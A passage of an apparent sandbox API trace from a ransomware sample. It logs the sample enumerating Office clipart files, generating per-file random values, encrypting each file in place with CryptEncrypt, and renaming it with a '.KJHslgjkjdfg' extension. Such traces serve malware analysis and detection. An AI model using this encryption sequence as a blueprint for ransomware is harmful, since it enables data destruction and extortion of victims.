nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.835] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.835] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.835] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.835] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.835] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.835] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.835] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x1d4c, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x1d4c, lpOverlapped=0x0) returned 1 [0178.836] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d50, dwBufLen=0x1d50 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1d50) returned 1 [0178.836] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x1d50, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x1d50, lpOverlapped=0x0) returned 1 [0178.837] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.837] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x1e24, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.837] SetEndOfFile (hFile=0x114) returned 1 [0178.839] GetProcessHeap () returned 0x2a0000 [0178.839] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.839] GetProcessHeap () returned 0x2a0000 [0178.839] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.840] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187825.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187825.wmf.kjhslgjkjdfg")) returned 1 [0178.841] CloseHandle (hObject=0x114) returned 1 [0178.841] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3040, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187829.WMF", cAlternateFileName="")) returned 1 [0178.841] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.842] GetProcessHeap () returned 0x2a0000 [0178.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.842] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.842] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.842] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.842] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.842] GetProcessHeap () returned 0x2a0000 [0178.842] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.842] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.843] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.843] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.845] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.845] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.845] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.845] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.845] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.845] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.845] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3040, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3040, lpOverlapped=0x0) returned 1 [0178.847] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3040, dwBufLen=0x3040 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3040) returned 1 [0178.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.847] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3040, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3040, lpOverlapped=0x0) returned 1 [0178.847] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.847] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x3114, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.847] SetEndOfFile (hFile=0x114) returned 1 [0178.851] GetProcessHeap () returned 0x2a0000 [0178.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.851] GetProcessHeap () returned 0x2a0000 [0178.851] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.851] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187829.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187829.wmf.kjhslgjkjdfg")) returned 1 [0178.859] CloseHandle (hObject=0x114) returned 1 [0178.859] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65fe5b50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2480, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187835.WMF", cAlternateFileName="")) returned 1 [0178.859] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.860] GetProcessHeap () returned 0x2a0000 [0178.860] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.860] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.860] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.861] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.861] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.861] GetProcessHeap () returned 0x2a0000 [0178.861] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.861] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.861] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.861] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.863] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.863] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.863] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.864] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.864] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.864] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.864] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.864] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x2480, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x2480, lpOverlapped=0x0) returned 1 [0178.865] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2480, dwBufLen=0x2480 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x2480) returned 1 [0178.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.865] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x2480, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x2480, lpOverlapped=0x0) returned 1 [0178.865] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.865] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x2554, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.865] SetEndOfFile (hFile=0x114) returned 1 [0178.868] GetProcessHeap () returned 0x2a0000 [0178.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.868] GetProcessHeap () returned 0x2a0000 [0178.868] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.868] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187835.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187835.wmf.kjhslgjkjdfg")) returned 1 [0178.869] CloseHandle (hObject=0x114) returned 1 [0178.869] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3fe2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187837.WMF", cAlternateFileName="")) returned 1 [0178.869] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.871] GetProcessHeap () returned 0x2a0000 [0178.871] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.871] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.871] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.871] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xe, lpOverlapped=0x0) returned 1 [0178.873] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.873] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.873] GetProcessHeap () returned 0x2a0000 [0178.873] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.873] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.873] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.873] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.874] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.874] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.874] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.874] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.874] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.874] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.874] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x3fe2, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x3fe2, lpOverlapped=0x0) returned 1 [0178.875] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ff0, dwBufLen=0x3ff0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x3ff0) returned 1 [0178.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.876] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x3ff0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x3ff0, lpOverlapped=0x0) returned 1 [0178.876] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.876] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x40c4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.876] SetEndOfFile (hFile=0x114) returned 1 [0178.879] GetProcessHeap () returned 0x2a0000 [0178.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0178.879] GetProcessHeap () returned 0x2a0000 [0178.879] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0178.879] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187837.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187837.wmf.kjhslgjkjdfg")) returned 1 [0178.880] CloseHandle (hObject=0x114) returned 1 [0178.880] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7633f300, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x564eabb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7633f300, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x14fc, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0187839.WMF", cAlternateFileName="")) returned 1 [0178.881] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0187839.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0187839.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0178.882] GetProcessHeap () returned 0x2a0000 [0178.882] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0178.882] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0178.882] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0178.882] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.884] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.884] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.884] GetProcessHeap () returned 0x2a0000 [0178.884] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0178.885] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0178.885] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0178.885] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0178.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0178.885] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0178.885] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0178.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0178.885] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0178.885] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0178.885] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0178.885] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0178.885] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x14fc, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x14fc, lpOverlapped=0x0) returned 1 [0178.886] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x1500, dwBufLen=0x1500 | out: 